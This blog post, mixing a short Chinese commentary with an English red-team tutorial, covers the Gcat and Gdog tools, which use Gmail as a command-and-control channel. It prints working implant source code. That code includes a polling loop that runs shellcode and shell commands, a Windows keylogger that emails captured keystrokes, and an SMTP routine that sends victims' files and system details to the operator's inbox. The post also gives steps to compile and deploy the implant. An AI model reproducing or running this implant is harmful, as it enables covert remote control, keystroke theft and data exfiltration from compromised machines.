通过gmail进行C2控制——看了下源码,本质上和dropbox c2架构一样,都是去轮训邮件,将c2攻击的东西以邮件形式发送,结果也发到邮箱里

核心代码:客户端check job

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
def checkJobs():
    #Here we check the inbox for queued jobs, parse them and start a thread
 
    while True:
 
        try:
            c = imaplib.IMAP4_SSL(server)
            c.login(gmail_user, gmail_pwd)
            c.select("INBOX")
 
            typ, id_list = c.uid('search', None, "(UNSEEN SUBJECT 'gcat:{}')".format(uniqueid))
 
            for msg_id in id_list[0].split():
                 
                #logging.debug("[checkJobs] parsing message with uid: {}".format(msg_id))
                 
                msg_data = c.uid('fetch', msg_id, '(RFC822)')
                msg = msgparser(msg_data)
                jobid = msg.subject.split(':')[2]
                 
                if msg.dict:
                    cmd = msg.dict['cmd'].lower()
                    arg = msg.dict['arg']
 
                    #logging.debug("[checkJobs] CMD: {} JOBID: {}".format(cmd, jobid))
 
                    if cmd == 'execshellcode':
                        execShellcode(arg, jobid)
 
                    elif cmd == 'download':
                        download(jobid, arg)
 
                    elif cmd == 'upload':
                        upload(jobid, arg, msg.attachment)
 
                    elif cmd == 'screenshot':
                        screenshot(jobid)
 
                    elif cmd == 'cmd':
                        execCmd(arg, jobid)
 
                    elif cmd == 'lockscreen':
                        lockScreen(jobid)
 
                    elif cmd == 'startkeylogger':
                        keylogger.exit = False
                        keylogger(jobid)
 
                    elif cmd == 'stopkeylogger':
                        keylogger.exit = True
 
                    elif cmd == 'forcecheckin':
                        sendEmail("Host checking in as requested", checkin=True)
 
                    else:
                        raise NotImplementedError
 
            c.logout()
 
            time.sleep(10)
         
        except Exception as e:
            #logging.debug(format_exc())
            time.sleep(10)
 
if __name__ == '__main__':
    sendEmail("0wn3d!", checkin=True)
    try:
        checkJobs()
    except KeyboardInterrupt:
        pass

 看下任何一个c2操作如keylogger或者恶意下载都会sendmail:

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
class keylogger(threading.Thread):
    #Stolen from http://earnestwish.com/2015/06/09/python-keyboard-hooking/                                                         
    exit = False
 
    def __init__(self, jobid):
        threading.Thread.__init__(self)
        self.jobid = jobid
        self.daemon = True
        self.hooked  = None
        self.keys = ''
        self.start()
 
    def installHookProc(self, pointer):                                          
        self.hooked = ctypes.windll.user32.SetWindowsHookExA(
                        WH_KEYBOARD_LL,
                        pointer,
                        windll.kernel32.GetModuleHandleW(None),
                        0
        )
 
        if not self.hooked:
            return False
        return True
 
    def uninstallHookProc(self):                                                 
        if self.hooked is None:
            return
        ctypes.windll.user32.UnhookWindowsHookEx(self.hooked)
        self.hooked = None
 
    def getFPTR(self, fn):                                                                 
        CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
        return CMPFUNC(fn)
 
    def hookProc(self, nCode, wParam, lParam):                                             
        if wParam is not WM_KEYDOWN:
            return ctypes.windll.user32.CallNextHookEx(self.hooked, nCode, wParam, lParam)
 
        self.keys += chr(lParam[0])
 
        if len(self.keys) > 100:
            sendEmail({'cmd': 'keylogger', 'res': r'{}'.format(self.keys)}, self.jobid)
            self.keys = ''
 
        if (CTRL_CODE == int(lParam[0])) or (self.exit == True):
            sendEmail({'cmd': 'keylogger', 'res': 'Keylogger stopped'}, self.jobid)
            self.uninstallHookProc()
 
        return ctypes.windll.user32.CallNextHookEx(self.hooked, nCode, wParam, lParam)    
 
    def startKeyLog(self):                                                               
         msg = MSG()
         ctypes.windll.user32.GetMessageA(ctypes.byref(msg),0,0,0)
 
    def run(self):                                
        pointer = self.getFPTR(self.hookProc)
 
        if self.installHookProc(pointer):
            sendEmail({'cmd': 'keylogger', 'res': 'Keylogger started'}, self.jobid)
            self.startKeyLog()
 
class download(threading.Thread):
 
    def __init__(self, jobid, filepath):
        threading.Thread.__init__(self)
        self.jobid = jobid
        self.filepath = filepath
 
        self.daemon = True
        self.start()
 
    def run(self):
        try:
            if os.path.exists(self.filepath) is True:
                sendEmail({'cmd': 'download', 'res': 'Success'}, self.jobid, [self.filepath])
            else:
                sendEmail({'cmd': 'download', 'res': 'Path to file invalid'}, self.jobid)
        except Exception as e:
            sendEmail({'cmd': 'download', 'res': 'Failed: {}'.format(e)}, self.jobid)

  

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
class sendEmail(threading.Thread):
 
    def __init__(self, text, jobid='', attachment=[], checkin=False):
        threading.Thread.__init__(self)
        self.text = text
        self.jobid = jobid
        self.attachment = attachment
        self.checkin = checkin
        self.daemon = True
        self.start()
 
    def run(self):
        sub_header = uniqueid
        if self.jobid:
            sub_header = 'imp:{}:{}'.format(uniqueid, self.jobid)
        elif self.checkin:
            sub_header = 'checkin:{}'.format(uniqueid)
 
        msg = MIMEMultipart()
        msg['From'] = sub_header
        msg['To'] = gmail_user
        msg['Subject'] = sub_header
 
        message_content = json.dumps({'fgwindow': detectForgroundWindows(), 'sys': getSysinfo(), 'admin': isAdmin(), 'msg': self.text})
        msg.attach(MIMEText(str(message_content)))
 
        for attach in self.attachment:
            if os.path.exists(attach) == True:
                part = MIMEBase('application', 'octet-stream')
                part.set_payload(open(attach, 'rb').read())
                Encoders.encode_base64(part)
                part.add_header('Content-Disposition', 'attachment; filename="{}"'.format(os.path.basename(attach)))
                msg.attach(part)
 
        while True:
            try:
                mailServer = SMTP()
                mailServer.connect(server, server_port)
                mailServer.starttls()
                mailServer.login(gmail_user,gmail_pwd)
                mailServer.sendmail(gmail_user, gmail_user, msg.as_string())
                mailServer.quit()
                break
            except Exception as e:
                #if verbose == True: print_exc()
                time.sleep(10)

  

Command and Control – Gmail

Gmail provides email functionality for users and businesses. This means that traffic towards Gmail servers in most of the organisations is permitted. Red team operations from the other side needs to be as stealthy as possible therefore using legitimate protocols such as ICMP and SMTP  in order to execute commands to a compromised host is essential. For that purpose there are two important tools on the web Gcat and Gdog which both of them can use Gmail as a command and control server.

Gcat

Gcat is python based framework that utilizes Gmail in order to act a command and control server. The implant that is contained inside Gcat will regularly beacon with the Gmail inbox and check if there are any new messages with a campaign ID. If there are, the commands contained in these emails will be executed on the compromised host and when a new response is received this information it will be passed to the console.

In order to allow Gcat to communicate with Gmail the following settings needs to be enabled.

The Less secure apps Gmail setting needs to be turned on.

Gmail - Allow Less Secure AppsGmail – Allow Less Secure Apps

Additionally the IMAP setting needs to be enabled as well from the Google account settings.

Gmail - IMAP Setting EnabledGmail – IMAP Setting Enabled

The next step is to convert the implant.py file into an executable. There are various ways to achieve that but the easiest is to create a setup.py file which will contain the following code and use py2exe.

1
2
3
4
5
# setup.py
from distutils.core import setup
import py2exe
 
setup(console=['implant.py'])
Gcat - Setup File for ImplantGcat – Setup File for Implant

Running python.exe with the following arguments will create the executable.

Gcat - Convert Implant to ExecutableGcat – Convert Implant to Executable

From the moment that the implant will executed on the host the attacker would be able to send commands via Gmail.

Gcat - Running ImplantGcat – Running Implant

The following command will list the hosts that are running the implant. Anything before the Windows-post2008Server-6.2.9200-AMD64 is the ID. This can be used in order to interact with the host and send command and also to view the output of these commands.

Gcat - Listing Compromised HostsGcat – Listing Compromised Hosts

Gcat gives the ability to execute CMD commands. Therefore it is possible to execute various commands in order to enumerate system information.

Gcat - Executing SystemInfo CommandGcat – Executing systeminfo Command

By specifying the job id the output of the command will be retrieved.

Gcat - System InfoGcat – System Info

The same applies for any other command like ipconfig.

Gcat - Executing CMD CommandsGcat – Executing CMD CommandsGcat - IP ConfigGcat – IP Config

Gdog

Gdog is the successor of Gcat and it is actually the same Command and Control tool but more advanced since it can retrieve geolocation information, it has keylogger functionality, it supports encrypted communication and various other features. However it has more dependencies since it requires the following modules to be installed in order to compile the client.py file into an executable:

Installation of WMI and Enum34 can be done easily by downloading the necessary archives and running the setup.py files with the install argument.

WMI Module - InstallationWMI Module – InstallationEnum34 Module InstallationEnum34 Module Installation

The same Gmail settings needs to be applied as with Gcat (IMAP & Less Secure Apps). Converting the client.py to an executable can be done with the same code as long as all the modules are successfully installed and there are no errors.

1
2
3
4
5
# setup.py
from distutils.core import setup
import py2exe
 
setup(console=['client.py'])

From the moment that the client.exe (implant) will executed on the remote host various commands can be sent through Gmail in an encrypted form.

Gdog - Encrypted CommunicationGdog – Encrypted Communication

The following screenshots demonstrate some of the activities that Gdog can perform:

System Information:

Gdog - System InformationGdog – System Information

Message Box:

Gdog - Message BoxGdog – Message Box

Execute Commands:

Gdog - net users jobGdog – net users jobGdog - net usersGdog – net users

Download Files:

Gdog - Download FilesGdog – Download FilesGdog - Location of saved fileGdog – Location of saved file

Resources

https://github.com/byt3bl33d3r/gcat

https://github.com/maldevel/gdog

https://github.com/pyinstaller/pyinstaller

http://www.pyinstaller.org/

posted @   bonelee  阅读(135)  评论(0编辑  收藏  举报
编辑推荐:
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· 没有源码,如何修改代码逻辑?
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· DeepSeek 开源周回顾「GitHub 热点速览」
历史上的今天:
2019-08-30 ​Python 3 新特性:类型注解——类似注释吧,反正解释器又不做校验
2019-08-30 python deque的内在实现 本质上就是双向链表所以用于stack、队列非常方便
2018-08-30 Kaggle比赛冠军经验分享:如何用 RNN 预测维基百科网络流量
2018-08-30 Dlib——C++机器学习库,有传统机器学习的,也有深度学习的
2017-08-30 ElasticSearch Shard——本质上是做分布式扩展,副本对于集群的稳定性有很强的影响
2017-08-30 ES设置查询的相似度算法
点击右上角即可分享
微信分享提示